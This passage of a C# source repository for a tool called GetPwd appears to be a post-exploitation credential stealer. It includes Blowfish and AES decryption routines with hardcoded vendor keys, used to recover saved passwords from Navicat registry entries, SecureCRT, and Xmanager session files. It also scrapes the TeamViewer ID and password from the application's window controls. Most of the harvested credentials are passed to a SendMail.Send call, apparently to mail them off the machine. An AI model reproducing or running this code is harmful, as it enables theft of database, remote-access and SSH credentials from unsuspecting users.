79 | 0xC089C2B8, 0x43242EF6, 0xA51E03AA, 0x9CF2D0A4, 0x83C061BA, 0x9BE96A4D, 0x8FE51550, 0xBA645BD6, 0x2826A2F9, 0xA73A3AE1, 0x4BA99586, 0xEF5562E9, 0xC72FEFD3, 0xF752F7DA, 0x3F046F69, 0x77FA0A59,
80 | 0x80E4A915, 0x87B08601, 0x9B09E6AD, 0x3B3EE593, 0xE990FD5A, 0x9E34D797, 0x2CF0B7D9, 0x022B8B51, 0x96D5AC3A, 0x017DA67D, 0xD1CF3ED6, 0x7C7D2D28, 0x1F9F25CF, 0xADF2B89B, 0x5AD6B472, 0x5A88F54C,
81 | 0xE029AC71, 0xE019A5E6, 0x47B0ACFD, 0xED93FA9B, 0xE8D3C48D, 0x283B57CC, 0xF8D56629, 0x79132E28, 0x785F0191, 0xED756055, 0xF7960E44, 0xE3D35E8C, 0x15056DD4, 0x88F46DBA, 0x03A16125, 0x0564F0BD,
82 | 0xC3EB9E15, 0x3C9057A2, 0x97271AEC, 0xA93A072A, 0x1B3F6D9B, 0x1E6321F5, 0xF59C66FB, 0x26DCF319, 0x7533D928, 0xB155FDF5, 0x03563482, 0x8ABA3CBB, 0x28517711, 0xC20AD9F8, 0xABCC5167, 0xCCAD925F,
83 | 0x4DE81751, 0x3830DC8E, 0x379D5862, 0x9320F991, 0xEA7A90C2, 0xFB3E7BCE, 0x5121CE64, 0x774FBE32, 0xA8B6E37E, 0xC3293D46, 0x48DE5369, 0x6413E680, 0xA2AE0810, 0xDD6DB224, 0x69852DFD, 0x09072166,
84 | 0xB39A460A, 0x6445C0DD, 0x586CDECF, 0x1C20C8AE, 0x5BBEF7DD, 0x1B588D40, 0xCCD2017F, 0x6BB4E3BB, 0xDDA26A7E, 0x3A59FF45, 0x3E350A44, 0xBCB4CDD5, 0x72EACEA8, 0xFA6484BB, 0x8D6612AE, 0xBF3C6F47,
85 | 0xD29BE463, 0x542F5D9E, 0xAEC2771B, 0xF64E6370, 0x740E0D8D, 0xE75B1357, 0xF8721671, 0xAF537D5D, 0x4040CB08, 0x4EB4E2CC, 0x34D2466A, 0x0115AF84, 0xE1B00428, 0x95983A1D, 0x06B89FB4, 0xCE6EA048,
86 | 0x6F3F3B82, 0x3520AB82, 0x011A1D4B, 0x277227F8, 0x611560B1, 0xE7933FDC, 0xBB3A792B, 0x344525BD, 0xA08839E1, 0x51CE794B, 0x2F32C9B7, 0xA01FBAC9, 0xE01CC87E, 0xBCC7D1F6, 0xCF0111C3, 0xA1E8AAC7,
87 | 0x1A908749, 0xD44FBD9A, 0xD0DADECB, 0xD50ADA38, 0x0339C32A, 0xC6913667, 0x8DF9317C, 0xE0B12B4F, 0xF79E59B7, 0x43F5BB3A, 0xF2D519FF, 0x27D9459C, 0xBF97222C, 0x15E6FC2A, 0x0F91FC71, 0x9B941525,
88 | 0xFAE59361, 0xCEB69CEB, 0xC2A86459, 0x12BAA8D1, 0xB6C1075E, 0xE3056A0C, 0x10D25065, 0xCB03A442, 0xE0EC6E0E, 0x1698DB3B, 0x4C98A0BE, 0x3278E964, 0x9F1F9532, 0xE0D392DF, 0xD3A0342B, 0x8971F21E,
89 | 0x1B0A7441, 0x4BA3348C, 0xC5BE7120, 0xC37632D8, 0xDF359F8D, 0x9B992F2E, 0xE60B6F47, 0x0FE3F11D, 0xE54CDA54, 0x1EDAD891, 0xCE6279CF, 0xCD3E7E6F, 0x1618B166, 0xFD2C1D05, 0x848FD2C5, 0xF6FB2299,
90 | 0xF523F357, 0xA6327623, 0x93A83531, 0x56CCCD02, 0xACF08162, 0x5A75EBB5, 0x6E163697, 0x88D273CC, 0xDE966292, 0x81B949D0, 0x4C50901B, 0x71C65614, 0xE6C6C7BD, 0x327A140A, 0x45E1D006, 0xC3F27B9A,
91 | 0xC9AA53FD, 0x62A80F00, 0xBB25BFE2, 0x35BDD2F6, 0x71126905, 0xB2040222, 0xB6CBCF7C, 0xCD769C2B, 0x53113EC0, 0x1640E3D3, 0x38ABBD60, 0x2547ADF0, 0xBA38209C, 0xF746CE76, 0x77AFA1C5, 0x20756060,
92 | 0x85CBFE4E, 0x8AE88DD8, 0x7AAAF9B0, 0x4CF9AA7E, 0x1948C25C, 0x02FB8A8C, 0x01C36AE4, 0xD6EBE1F9, 0x90D4F869, 0xA65CDEA0, 0x3F09252D, 0xC208E69F, 0xB74E6132, 0xCE77E25B, 0x578FDFE3, 0x3AC372E6
93 | }
94 | };
95 |
96 | private UInt32[] SubKey;
97 | private UInt32[,] SBox;
98 |
99 | private UInt32 _F_Transform(UInt32 x)
100 | {
101 | byte[] x_bytes = BitConverter.GetBytes(x);
102 | if (BitConverter.IsLittleEndian == false)
103 | Array.Reverse(x_bytes);
104 | return ((SBox[0, x_bytes[3]] + SBox[1, x_bytes[2]]) ^ SBox[2, x_bytes[1]]) + SBox[3, x_bytes[0]];
105 | }
106 |
107 | public void Encrypt(byte[] srcBytes, Endian endian)
108 | {
109 | byte[] L_bytes = new byte[4];
110 | byte[] R_bytes = new byte[4];
111 | Array.Copy(srcBytes, 0, L_bytes, 0, 4);
112 | Array.Copy(srcBytes, 4, R_bytes, 0, 4);
113 |
114 | if (BitConverter.IsLittleEndian && endian == Endian.Big || BitConverter.IsLittleEndian == false && endian == Endian.Little)
115 | {
116 | Array.Reverse(L_bytes);
117 | Array.Reverse(R_bytes);
118 | }
119 |
120 | UInt32 L = BitConverter.ToUInt32(L_bytes, 0);
121 | UInt32 R = BitConverter.ToUInt32(R_bytes, 0);
122 |
123 | L ^= SubKey[0];
124 | R ^= _F_Transform(L);
125 |
126 | R ^= SubKey[1];
127 | L ^= _F_Transform(R);
128 |
129 | L ^= SubKey[2];
130 | R ^= _F_Transform(L);
131 |
132 | R ^= SubKey[3];
133 | L ^= _F_Transform(R);
134 |
135 | L ^= SubKey[4];
136 | R ^= _F_Transform(L);
137 |
138 | R ^= SubKey[5];
139 | L ^= _F_Transform(R);
140 |
141 | L ^= SubKey[6];
142 | R ^= _F_Transform(L);
143 |
144 | R ^= SubKey[7];
145 | L ^= _F_Transform(R);
146 |
147 | L ^= SubKey[8];
148 | R ^= _F_Transform(L);
149 |
150 | R ^= SubKey[9];
151 | L ^= _F_Transform(R);
152 |
153 | L ^= SubKey[10];
154 | R ^= _F_Transform(L);
155 |
156 | R ^= SubKey[11];
157 | L ^= _F_Transform(R);
158 |
159 | L ^= SubKey[12];
160 | R ^= _F_Transform(L);
161 |
162 | R ^= SubKey[13];
163 | L ^= _F_Transform(R);
164 |
165 | L ^= SubKey[14];
166 | R ^= _F_Transform(L);
167 |
168 | R ^= SubKey[15];
169 | L ^= _F_Transform(R);
170 |
171 | L ^= SubKey[16];
172 | R ^= SubKey[17];
173 |
174 | L_bytes = BitConverter.GetBytes(R);
175 | R_bytes = BitConverter.GetBytes(L);
176 |
177 | if (BitConverter.IsLittleEndian && endian == Endian.Big || BitConverter.IsLittleEndian == false && endian == Endian.Little)
178 | {
179 | Array.Reverse(L_bytes);
180 | Array.Reverse(R_bytes);
181 | }
182 |
183 | Array.Copy(L_bytes, 0, srcBytes, 0, 4);
184 | Array.Copy(R_bytes, 0, srcBytes, 4, 4);
185 | }
186 |
187 | public void Decrypt(byte[] srcBytes, Endian endian)
188 | {
189 | byte[] L_bytes = new byte[4];
190 | byte[] R_bytes = new byte[4];
191 | Array.Copy(srcBytes, 0, L_bytes, 0, 4);
192 | Array.Copy(srcBytes, 4, R_bytes, 0, 4);
193 |
194 | if (BitConverter.IsLittleEndian && endian == Endian.Big || BitConverter.IsLittleEndian == false && endian == Endian.Little)
195 | {
196 | Array.Reverse(L_bytes);
197 | Array.Reverse(R_bytes);
198 | }
199 |
200 | UInt32 L = BitConverter.ToUInt32(R_bytes, 0);
201 | UInt32 R = BitConverter.ToUInt32(L_bytes, 0);
202 |
203 | L ^= SubKey[16];
204 | R ^= SubKey[17];
205 |
206 | L ^= _F_Transform(R);
207 | R ^= SubKey[15];
208 |
209 | R ^= _F_Transform(L);
210 | L ^= SubKey[14];
211 |
212 | L ^= _F_Transform(R);
213 | R ^= SubKey[13];
214 |
215 | R ^= _F_Transform(L);
216 | L ^= SubKey[12];
217 |
218 | L ^= _F_Transform(R);
219 | R ^= SubKey[11];
220 |
221 | R ^= _F_Transform(L);
222 | L ^= SubKey[10];
223 |
224 | L ^= _F_Transform(R);
225 | R ^= SubKey[9];
226 |
227 | R ^= _F_Transform(L);
228 | L ^= SubKey[8];
229 |
230 | L ^= _F_Transform(R);
231 | R ^= SubKey[7];
232 |
233 | R ^= _F_Transform(L);
234 | L ^= SubKey[6];
235 |
236 | L ^= _F_Transform(R);
237 | R ^= SubKey[5];
238 |
239 | R ^= _F_Transform(L);
240 | L ^= SubKey[4];
241 |
242 | L ^= _F_Transform(R);
243 | R ^= SubKey[3];
244 |
245 | R ^= _F_Transform(L);
246 | L ^= SubKey[2];
247 |
248 | L ^= _F_Transform(R);
249 | R ^= SubKey[1];
250 |
251 | R ^= _F_Transform(L);
252 | L ^= SubKey[0];
253 |
254 | L_bytes = BitConverter.GetBytes(L);
255 | R_bytes = BitConverter.GetBytes(R);
256 |
257 | if (BitConverter.IsLittleEndian && endian == Endian.Big || BitConverter.IsLittleEndian == false && endian == Endian.Little)
258 | {
259 | Array.Reverse(L_bytes);
260 | Array.Reverse(R_bytes);
261 | }
262 |
263 | Array.Copy(L_bytes, 0, srcBytes, 0, 4);
264 | Array.Copy(R_bytes, 0, srcBytes, 4, 4);
265 | }
266 |
267 | public Blowfish(byte[] UserKey)
268 | {
269 | if (UserKey.Length < MinUserKeyLength)
270 | throw new ArgumentException("UserKey is too short.");
271 | else if (UserKey.Length > 56)
272 | throw new ArgumentException("UserKey is too long.");
273 |
274 |
275 | SubKey = OriginPBox.Clone() as UInt32[];
276 | SBox = OriginSBox.Clone() as UInt32[,];
277 |
278 | for (int i = 0; i < 18; ++i)
279 | {
280 | UInt32 temp = 0;
281 |
282 | temp <<= 8;
283 | temp |= UserKey[(i * 4) % UserKey.Length];
284 | temp <<= 8;
285 | temp |= UserKey[(i * 4 + 1) % UserKey.Length];
286 | temp <<= 8;
287 | temp |= UserKey[(i * 4 + 2) % UserKey.Length];
288 | temp <<= 8;
289 | temp |= UserKey[(i * 4 + 3) % UserKey.Length];
290 |
291 | SubKey[i] ^= temp;
292 | }
293 |
294 | byte[] _temp = new byte[8];
295 | for (int i = 0; i < 9; ++i)
296 | {
297 | Encrypt(_temp, Endian.Little);
298 | Buffer.BlockCopy(_temp, 0, SubKey, sizeof(UInt32) * 2 * i, 8);
299 | }
300 |
301 | for (int i = 0; i < 4; ++i)
302 | {
303 | for (int j = 0; j < 128; ++j)
304 | {
305 | Encrypt(_temp, Endian.Little);
306 | Buffer.BlockCopy(_temp, 0, SBox, 256 * sizeof(UInt32) * i + sizeof(UInt64) * j, sizeof(UInt64));
307 | }
308 | }
309 | }
310 | }
311 | }
312 |
--------------------------------------------------------------------------------
/GetPwd/GetPwd.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {417384D0-9F47-4781-A318-DC657621B7D9}
8 | Exe
9 | GetPwd
10 | GetPwd
11 | v4.5
12 | 512
13 | true
14 |
15 |
16 | AnyCPU
17 | true
18 | full
19 | false
20 | bin\Debug\
21 | DEBUG;TRACE
22 | prompt
23 | 4
24 |
25 |
26 | AnyCPU
27 | pdbonly
28 | true
29 | bin\Release\
30 | TRACE
31 | prompt
32 | 4
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 | {F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}
61 | 1
62 | 0
63 | 0
64 | tlbimp
65 | False
66 | True
67 |
68 |
69 |
70 |
--------------------------------------------------------------------------------
/GetPwd/NavicatCrypto.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Linq;
3 | using System.Text;
4 | using System.IO;
5 | using System.Security.Cryptography;
6 |
7 | namespace GetPwd
8 | {
9 | class Navicat11Cipher
10 | {
11 |
12 | private Blowfish blowfishCipher;
13 |
14 | protected static byte[] StringToByteArray(string hex)
15 | {
16 | return Enumerable.Range(0, hex.Length)
17 | .Where(x => x % 2 == 0)
18 | .Select(x => Convert.ToByte(hex.Substring(x, 2), 16))
19 | .ToArray();
20 | }
21 |
22 | protected static string ByteArrayToString(byte[] bytes)
23 | {
24 | return BitConverter.ToString(bytes).Replace("-", string.Empty);
25 | }
26 |
27 | protected static void XorBytes(byte[] a, byte[] b, int len)
28 | {
29 | for (int i = 0; i < len; ++i)
30 | a[i] ^= b[i];
31 | }
32 |
33 | public Navicat11Cipher()
34 | {
35 | byte[] UserKey = Encoding.UTF8.GetBytes("3DC5CA39");
36 | var sha1 = new SHA1CryptoServiceProvider();
37 | sha1.TransformFinalBlock(UserKey, 0, UserKey.Length);
38 | blowfishCipher = new Blowfish(sha1.Hash);
39 | }
40 |
41 | public Navicat11Cipher(string CustomUserKey)
42 | {
43 | byte[] UserKey = Encoding.UTF8.GetBytes(CustomUserKey);
44 | var sha1 = new SHA1CryptoServiceProvider();
45 | byte[] UserKeyHash = sha1.TransformFinalBlock(UserKey, 0, 8);
46 | blowfishCipher = new Blowfish(UserKeyHash);
47 | }
48 |
49 | public string EncryptString(string plaintext)
50 | {
51 | byte[] plaintext_bytes = Encoding.UTF8.GetBytes(plaintext);
52 |
53 | byte[] CV = Enumerable.Repeat(0xFF, Blowfish.BlockSize).ToArray();
54 | blowfishCipher.Encrypt(CV, Blowfish.Endian.Big);
55 |
56 | string ret = "";
57 | int blocks_len = plaintext_bytes.Length / Blowfish.BlockSize;
58 | int left_len = plaintext_bytes.Length % Blowfish.BlockSize;
59 | byte[] temp = new byte[Blowfish.BlockSize];
60 | for (int i = 0; i < blocks_len; ++i)
61 | {
62 | Array.Copy(plaintext_bytes, Blowfish.BlockSize * i, temp, 0, Blowfish.BlockSize);
63 | XorBytes(temp, CV, Blowfish.BlockSize);
64 | blowfishCipher.Encrypt(temp, Blowfish.Endian.Big);
65 | XorBytes(CV, temp, Blowfish.BlockSize);
66 |
67 | ret += ByteArrayToString(temp);
68 | }
69 |
70 | if (left_len != 0)
71 | {
72 | blowfishCipher.Encrypt(CV, Blowfish.Endian.Big);
73 | XorBytes(CV,
74 | plaintext_bytes.Skip(blocks_len * Blowfish.BlockSize).Take(left_len).ToArray(),
75 | left_len);
76 | ret += ByteArrayToString(CV.Take(left_len).ToArray());
77 | }
78 |
79 | return ret;
80 | }
81 |
82 | public string DecryptString(string ciphertext)
83 | {
84 | byte[] ciphertext_bytes = StringToByteArray(ciphertext);
85 |
86 | byte[] CV = Enumerable.Repeat(0xFF, Blowfish.BlockSize).ToArray();
87 | blowfishCipher.Encrypt(CV, Blowfish.Endian.Big);
88 |
89 | byte[] ret = new byte[0];
90 | int blocks_len = ciphertext_bytes.Length / Blowfish.BlockSize;
91 | int left_len = ciphertext_bytes.Length % Blowfish.BlockSize;
92 | byte[] temp = new byte[Blowfish.BlockSize];
93 | byte[] temp2 = new byte[Blowfish.BlockSize];
94 | for (int i = 0; i < blocks_len; ++i)
95 | {
96 | Array.Copy(ciphertext_bytes, Blowfish.BlockSize * i, temp, 0, Blowfish.BlockSize);
97 | Array.Copy(temp, temp2, Blowfish.BlockSize);
98 | blowfishCipher.Decrypt(temp, Blowfish.Endian.Big);
99 | XorBytes(temp, CV, Blowfish.BlockSize);
100 | ret = ret.Concat(temp).ToArray();
101 | XorBytes(CV, temp2, Blowfish.BlockSize);
102 | }
103 |
104 | if (left_len != 0)
105 | {
106 | Array.Clear(temp, 0, temp.Length);
107 | Array.Copy(ciphertext_bytes, Blowfish.BlockSize * blocks_len, temp, 0, left_len);
108 | blowfishCipher.Encrypt(CV, Blowfish.Endian.Big);
109 | XorBytes(temp, CV, Blowfish.BlockSize);
110 | ret = ret.Concat(temp.Take(left_len).ToArray()).ToArray();
111 | }
112 |
113 | return Encoding.UTF8.GetString(ret);
114 | }
115 | }
116 |
117 | class Navicat12Cipher : Navicat11Cipher
118 | {
119 |
120 | private AesCryptoServiceProvider AesServiceProvider;
121 |
122 | public Navicat12Cipher() : base()
123 | {
124 | AesServiceProvider = new AesCryptoServiceProvider();
125 | AesServiceProvider.KeySize = 128;
126 | AesServiceProvider.Mode = CipherMode.CBC;
127 | AesServiceProvider.Padding = PaddingMode.PKCS7;
128 |
129 | AesServiceProvider.Key = Encoding.UTF8.GetBytes("libcckeylibcckey");
130 | AesServiceProvider.IV = Encoding.UTF8.GetBytes("libcciv libcciv ");
131 | }
132 |
133 | public string EncryptStringForNCX(string plaintext)
134 | {
135 | ICryptoTransform AesEncryptor = AesServiceProvider.CreateEncryptor();
136 | MemoryStream ms = new MemoryStream();
137 | CryptoStream cs = new CryptoStream(ms, AesEncryptor, CryptoStreamMode.Write);
138 | byte[] plaintext_bytes = Encoding.UTF8.GetBytes(plaintext);
139 | cs.Write(plaintext_bytes, 0, plaintext_bytes.Length);
140 | cs.FlushFinalBlock();
141 | return ByteArrayToString(ms.ToArray());
142 | }
143 |
144 | public string DecryptStringForNCX(string ciphertext)
145 | {
146 | ICryptoTransform AesDecryptor = AesServiceProvider.CreateDecryptor();
147 | MemoryStream ms = new MemoryStream();
148 | CryptoStream cs = new CryptoStream(ms, AesDecryptor, CryptoStreamMode.Write);
149 | byte[] ciphertext_bytes = StringToByteArray(ciphertext);
150 | cs.Write(ciphertext_bytes, 0, ciphertext_bytes.Length);
151 | cs.FlushFinalBlock();
152 | return Encoding.UTF8.GetString(ms.ToArray());
153 | }
154 |
155 | }
156 | }
157 |
--------------------------------------------------------------------------------
/GetPwd/Program.cs:
--------------------------------------------------------------------------------
1 | using Microsoft.Win32;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.IO;
5 | using System.Runtime.InteropServices;
6 | using System.Security.AccessControl;
7 | using System.Security.Principal;
8 | using System.Text;
9 | using System.Text.RegularExpressions;
10 | using System.DirectoryServices;
11 | using System.Security.Cryptography;
12 |
13 | namespace GetPwd
14 | {
15 | public struct WindowInfo
16 | {
17 | public IntPtr hWnd;
18 |
19 | public string szWindowName;
20 |
21 | public string szClassName;
22 | }
23 |
24 | class Program
25 | {
26 | public delegate bool EnumChildProc(IntPtr hwnd, IntPtr lParam);
27 |
28 | public static List wndList = new List();
29 |
30 | [DllImport("user32.dll", SetLastError = true)]
31 | private static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
32 |
33 | [DllImport("user32.dll")]
34 | public static extern bool EnumChildWindows(IntPtr hwndParent, EnumChildProc EnumFunc, IntPtr lParam);
35 |
36 | [DllImport("user32.dll")]
37 | private static extern int GetClassNameW(IntPtr hWnd, [MarshalAs(UnmanagedType.LPWStr)] StringBuilder lpString, int nMaxCount);
38 |
39 | [DllImport("user32.dll")]
40 | private static extern int GetWindowTextW(IntPtr hWnd, [MarshalAs(UnmanagedType.LPWStr)] StringBuilder lpString, int nMaxCount);
41 |
42 | [DllImport("user32.dll")]
43 | private static extern int SendMessage(IntPtr hwnd, int wMsg, int wParam, StringBuilder lParam);
44 |
45 | static void Main(string[] args)
46 | {
47 | Console.WriteLine("");
48 | Console.WriteLine("Author: wh4am1");
49 | Console.WriteLine("Github: https://github.com/sf197");
50 | Console.WriteLine("Blog: https://www.cnblogs.com/wh4am1");
51 | Console.WriteLine("");
52 | SecureCRTPwd();
53 | Console.WriteLine("read done!");
54 | Console.ReadKey();
55 | }
56 |
57 | public static void SecureCRTPwd() {
58 | StringBuilder strbuf = new StringBuilder();
59 |
60 | strbuf.Append("[*] Password:" + SecureCRTCipher.PasswordCRT("ac230fec9ceb3a23f1df712c51c556f19264e68dc544acfc"));
61 | strbuf.Append(Environment.NewLine);
62 | strbuf.Append("[*] Password V2:" + SecureCRTCipher.V2CRT("6029dd61ef0e2358e522d8d4037f8cf3"));
63 | strbuf.Append(Environment.NewLine);
64 |
65 | SendMail.Send(strbuf);
66 | }
67 |
68 | public static void NavicatPwd() {
69 | List list = new List();
70 | list.AddRange(new string[5]
71 | {
72 | "MySql:Software\\PremiumSoft\\Navicat\\Servers",
73 | "SQL Server:Software\\PremiumSoft\\NavicatMSSQL\\Servers",
74 | "Oracle:Software\\PremiumSoft\\NavicatOra\\Servers",
75 | "pgsql:Software\\PremiumSoft\\NavicatPG\\Servers",
76 | "MariaDB:Software\\PremiumSoft\\NavicatMARIADB\\Servers"
77 | });
78 | StringBuilder strbuf = new StringBuilder();
79 | foreach (string item in list)
80 | {
81 | string str;
82 | string[] array = Regex.Split(item, ":", RegexOptions.IgnoreCase);
83 | string arg = array[0].ToString();
84 | string basekey = array[1].ToString();
85 | str = DecryptStr(basekey);
86 | strbuf.Append("[*] DatabaseName:" + arg);
87 | strbuf.Append(Environment.NewLine);
88 | strbuf.Append(str);
89 | strbuf.Append(Environment.NewLine);
90 | }
91 | SendMail.Send(strbuf);
92 | }
93 |
94 | public static void TeamViewPwd() {
95 | IntPtr intPtr = FindWindow(null, "TeamViewer");
96 | if (intPtr == IntPtr.Zero)
97 | {
98 | Console.WriteLine("没找到TeamViewer进程或使用了修改版本");
99 | return;
100 | }
101 | EnumChildProc enumFunc = EnumFunc;
102 | EnumChildWindows(intPtr, enumFunc, IntPtr.Zero);
103 | foreach (WindowInfo wnd in wndList)
104 | {
105 | if (!string.IsNullOrEmpty(wnd.szWindowName))
106 | {
107 | if (wnd.szWindowName.Equals("您的ID") || wnd.szWindowName.Equals("密码") || wnd.szWindowName.Equals("Your ID") || wnd.szWindowName.Equals("Password"))
108 | {
109 | int index = wndList.IndexOf(wnd);
110 | Console.WriteLine(wnd.szWindowName + ":" + wndList[index + 1].szWindowName);
111 | }
112 | }
113 | }
114 | }
115 |
116 | public static void XmangagerPwd()
117 | {
118 | List xsh_pathlist = XmangagerCrypt.checkPath();
119 | StringBuilder strbuf = new StringBuilder();
120 | foreach (string path in xsh_pathlist)
121 | {
122 | FileInfo fileInfo = new FileInfo(path);
123 | FileSecurity fileSecurity = fileInfo.GetAccessControl();
124 | IdentityReference identityReference = fileSecurity.GetOwner(typeof(NTAccount));
125 | int idx = identityReference.Value.IndexOf('\\');
126 | if (idx == -1)
127 | {
128 | idx = identityReference.Value.IndexOf('@');
129 | }
130 | string userName = identityReference.Value.Substring(idx + 1);
131 | string userSid = null;
132 |
133 | try
134 | {
135 | DirectoryEntry obDirEntry = new DirectoryEntry("WinNT://" + identityReference.Value.Replace(@"\", @"/"));
136 | PropertyCollection coll = obDirEntry.Properties;
137 | object obVal = coll["objectSid"].Value;
138 | userSid = userName + XmangagerCrypt.ConvertByteToStringSid((Byte[])obVal);//获取该所有者的SID
139 | }
140 | catch (System.Runtime.InteropServices.COMException)
141 | {
142 | continue;
143 | }
144 |
145 |
146 | using (StreamReader sr = new StreamReader(path))
147 | {
148 | string Host = "null";
149 | string UserName = "null";
150 | string password = "null";
151 | string rawPass;
152 | string pattern = @"Password=(.*?)";
153 | while ((rawPass = sr.ReadLine()) != null)
154 | {
155 | if (System.Text.RegularExpressions.Regex.IsMatch(rawPass, @"Host=(.*?)"))
156 | {
157 | Host = rawPass.Replace("Host=", "");
158 | }
159 | if (System.Text.RegularExpressions.Regex.IsMatch(rawPass, pattern))
160 | {
161 | rawPass = rawPass.Replace("Password=", "");
162 | if (rawPass.Equals(""))
163 | {
164 | continue;
165 | }
166 | byte[] data = Convert.FromBase64String(rawPass);
167 | byte[] Key = new SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes(userSid));
168 |
169 | byte[] passData = new byte[data.Length - 0x20];
170 | Array.Copy(data, 0, passData, 0, data.Length - 0x20);
171 | byte[] decrypted = RC4.Decrypt(Key, passData);
172 | password = Encoding.ASCII.GetString(decrypted);
173 | }
174 | if (System.Text.RegularExpressions.Regex.IsMatch(rawPass, @"UserName=(.*?)"))
175 | {
176 | UserName = rawPass.Replace("UserName=", "");
177 | }
178 | }
179 | strbuf.Append("Host: "+Host+" UserName: "+ UserName + " Decrypt: "+ password);
180 | }
181 | strbuf.Append(Environment.NewLine);
182 | }
183 | SendMail.Send(strbuf);
184 | }
185 |
186 | public static bool EnumFunc(IntPtr hWnd, IntPtr lParam)
187 | {
188 | StringBuilder stringBuilder = new StringBuilder(256);
189 | GetClassNameW(hWnd, stringBuilder, stringBuilder.Capacity);
190 | if (stringBuilder.ToString() == "Edit" || stringBuilder.ToString() == "Static")
191 | {
192 | WindowInfo item = default(WindowInfo);
193 | item.hWnd = hWnd;
194 | item.szClassName = stringBuilder.ToString();
195 | if (item.szClassName == "Edit")
196 | {
197 | StringBuilder stringBuilder2 = new StringBuilder(256);
198 | SendMessage(hWnd, 13, 256, stringBuilder2);
199 | item.szWindowName = stringBuilder2.ToString();
200 | }
201 | else
202 | {
203 | GetWindowTextW(hWnd, stringBuilder, stringBuilder.Capacity);
204 | item.szWindowName = stringBuilder.ToString();
205 | }
206 | wndList.Add(item);
207 | }
208 | return true;
209 | }
210 |
211 | private static string DecryptStr(string basekey)
212 | {
213 | StringBuilder stb = new StringBuilder();
214 | Navicat11Cipher navicat11Cipher = new Navicat11Cipher();
215 | RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(basekey);
216 | if (registryKey == null)
217 | {
218 | return null;
219 | }
220 | string[] subKeyNames = registryKey.GetSubKeyNames();
221 | foreach (string text in subKeyNames)
222 | {
223 | stb.Append(" [+] ConnectName: "+ text);
224 | RegistryKey registryKey2 = registryKey.OpenSubKey(text);
225 | if (registryKey2 != null)
226 | {
227 | string arg = (registryKey2.GetValue("Host") != null) ? registryKey2.GetValue("Host").ToString() : "";
228 | string arg2 = (registryKey2.GetValue("UserName") != null) ? registryKey2.GetValue("UserName").ToString() : "";
229 | string ciphertext = (registryKey2.GetValue("Pwd") != null) ? registryKey2.GetValue("Pwd").ToString() : "";
230 | stb.Append(" [>] Host: " + arg);
231 | stb.Append(" [>] UserName: " + arg2);
232 | stb.Append(" [>] Password: " + navicat11Cipher.DecryptString(ciphertext));
233 | stb.Append(Environment.NewLine);
234 | }
235 | }
236 | return stb.ToString();
237 | }
238 | }
239 | }
240 |
--------------------------------------------------------------------------------
/GetPwd/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // 有关程序集的一般信息由以下
6 | // 控制。更改这些特性值可修改
7 | // 与程序集关联的信息。
8 | [assembly: AssemblyTitle("GetPwd")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("GetPwd")]
13 | [assembly: AssemblyCopyright("Copyright © 2020")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // 将 ComVisible 设置为 false 会使此程序集中的类型
18 | //对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型
19 | //请将此类型的 ComVisible 特性设置为 true。
20 | [assembly: ComVisible(false)]
21 |
22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
23 | [assembly: Guid("417384d0-9f47-4781-a318-dc657621b7d9")]
24 |
25 | // 程序集的版本信息由下列四个值组成:
26 | //
27 | // 主版本
28 | // 次版本
29 | // 生成号
30 | // 修订号
31 | //
32 | // 可以指定所有值,也可以使用以下所示的 "*" 预置版本号和修订号
33 | // 方法是按如下所示使用“*”: :
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/GetPwd/SecureCRTCipher.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Security.Cryptography;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace GetPwd
9 | {
10 | class SecureCRTCipher
11 | {
12 | private static byte[] IV = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
13 | private static byte[] Key1 = { 0x24, 0xa6, 0x3d, 0xde, 0x5b, 0xd3, 0xb3, 0x82, 0x9c, 0x7e, 0x06, 0xf4, 0x08, 0x16, 0xaa, 0x07 };
14 | private static byte[] Key2 = { 0x5f, 0xb0, 0x45, 0xa2, 0x94, 0x17, 0xd9, 0x16, 0xc6, 0xc6, 0xa2, 0xff, 0x06, 0x41, 0x82, 0xb7 };
15 | private static byte[] Key_V2 = { 0xe3, 0xb0, 0xc4, 0x42, 0x98, 0xfc, 0x1c, 0x14, 0x9a, 0xfb, 0xf4, 0xc8, 0x99, 0x6f, 0xb9, 0x24, 0x27, 0xae, 0x41, 0xe4, 0x64, 0x9b, 0x93, 0x4c, 0xa4, 0x95, 0x99, 0x1b, 0x78, 0x52, 0xb8, 0x55 };
16 |
17 | private static byte[] fromhex(String hex) {
18 | byte[] mybyte = new byte[int.Parse(Math.Ceiling(hex.Length / 2.0).ToString())];
19 | for (int i = 0; i ret = new List();
29 | string str = "";
30 | for (int i=0; i < dec.Length; i++)
31 | {
32 | if (dec[i] == 0) {
33 | if (dec[i+1] == 0) {
34 | i++;
35 | continue;
36 | }
37 | }
38 | str += (char)dec[i];
39 | ret.Add(dec[i]);
40 | }
41 | byte[] test = ret.Where(x => x != 0).ToArray();
42 | return System.Text.Encoding.Default.GetString(test);
43 | }
44 |
45 | private static string AESDecrypt(string decryptStr, byte[] key)
46 | {
47 | var _aes = new AesCryptoServiceProvider();
48 | _aes.BlockSize = 128;
49 | _aes.KeySize = 256;
50 | _aes.Key = key;
